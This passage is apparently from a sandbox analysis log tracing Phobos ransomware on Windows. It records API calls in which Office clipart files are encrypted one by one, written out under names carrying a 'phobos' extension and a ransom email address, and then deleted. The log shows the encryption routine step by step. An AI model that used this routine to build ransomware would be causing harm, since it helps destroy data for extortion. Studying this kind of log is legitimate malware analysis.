lpNumberOfBytesWritten=0x2e5fb68*=0xba0, lpOverlapped=0x0) returned 1 [0062.382] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0062.382] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.382] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x30, dwBufLen=0x30 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x30) returned 1 [0062.382] CryptDestroyKey (hKey=0x10cf70) returned 1 [0062.382] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xe2, lpOverlapped=0x0) returned 1 [0062.382] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0062.382] CloseHandle (hObject=0x318) returned 1 [0062.382] CloseHandle (hObject=0x308) returned 1 [0062.383] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0062.384] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0062.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.384] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=10326) returned 1 [0062.384] CloseHandle (hObject=0x308) returned 1 [0062.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0062.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.385] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.385] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.385] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccb0) returned 1 [0062.385] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.385] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x2856, lpOverlapped=0x0) returned 1 [0062.471] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2860, dwBufLen=0x2860 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2860) returned 1 [0062.471] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2860, lpOverlapped=0x0) returned 1 [0062.472] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc70) returned 1 [0062.472] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.472] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0062.472] CryptDestroyKey (hKey=0x10cc70) returned 1 [0062.472] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0062.472] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0062.472] CloseHandle (hObject=0x308) returned 1 [0062.472] CloseHandle (hObject=0x318) returned 1 [0062.473] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0062.474] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0062.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.477] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2690) returned 1 [0062.477] CloseHandle (hObject=0x308) returned 1 [0062.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0062.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.478] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.479] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.479] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0062.479] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.479] ReadFile (in: hFile=0x338, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xa82, lpOverlapped=0x0) returned 1 [0062.531] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa90, dwBufLen=0xa90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa90) returned 1 [0062.531] WriteFile (in: hFile=0x324, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xa90, lpOverlapped=0x0) returned 1 [0062.532] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccb0) returned 1 [0062.532] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.532] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0062.532] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0062.532] WriteFile (in: hFile=0x324, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0062.532] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0062.532] CloseHandle (hObject=0x338) returned 1 [0062.532] CloseHandle (hObject=0x324) returned 1 [0062.533] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0062.536] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0062.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.551] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=40030) returned 1 [0062.551] CloseHandle (hObject=0x324) returned 1 [0062.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0062.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.552] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.552] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.552] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0062.552] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.552] ReadFile (in: hFile=0x324, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x9c5e, lpOverlapped=0x0) returned 1 [0062.606] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x9c60, dwBufLen=0x9c60 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x9c60) returned 1 [0062.606] WriteFile (in: hFile=0x338, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x9c60, lpOverlapped=0x0) returned 1 [0062.607] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0062.607] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.607] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0062.607] CryptDestroyKey (hKey=0x10cf70) returned 1 [0062.608] WriteFile (in: hFile=0x338, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0062.608] CryptDestroyKey (hKey=0x10d170) returned 1 [0062.608] CloseHandle (hObject=0x324) returned 1 [0062.608] CloseHandle (hObject=0x338) returned 1 [0062.609] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0062.611] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0062.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.611] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=17584) returned 1 [0062.611] CloseHandle (hObject=0x338) returned 1 [0062.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0062.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.612] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.613] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.613] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0062.613] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.613] ReadFile (in: hFile=0x338, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x44b0, lpOverlapped=0x0) returned 1 [0062.847] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x44c0, dwBufLen=0x44c0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x44c0) returned 1 [0062.847] WriteFile (in: hFile=0x324, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x44c0, lpOverlapped=0x0) returned 1 [0062.848] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cb30) returned 1 [0062.848] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.848] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0062.848] CryptDestroyKey (hKey=0x10cb30) returned 1 [0062.848] WriteFile (in: hFile=0x324, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0062.848] CryptDestroyKey (hKey=0x10caf0) returned 1 [0062.848] CloseHandle (hObject=0x338) returned 1 [0062.848] CloseHandle (hObject=0x324) returned 1 [0063.821] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0063.825] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0063.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.825] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=42992) returned 1 [0063.825] CloseHandle (hObject=0x33c) returned 1 [0063.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0063.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.825] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0063.825] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0063.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0063.826] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cbf0) returned 1 [0063.826] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0063.826] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xa7f0, lpOverlapped=0x0) returned 1 [0064.736] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa800, dwBufLen=0xa800 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa800) returned 1 [0064.736] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xa800, lpOverlapped=0x0) returned 1 [0064.740] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc30) returned 1 [0064.740] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0064.740] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0064.740] CryptDestroyKey (hKey=0x10cc30) returned 1 [0064.741] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0064.741] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0064.741] CloseHandle (hObject=0x33c) returned 1 [0064.741] CloseHandle (hObject=0x320) returned 1 [0064.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0064.747] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0064.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0064.829] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=712) returned 1 [0064.829] CloseHandle (hObject=0x340) returned 1 [0064.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0064.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 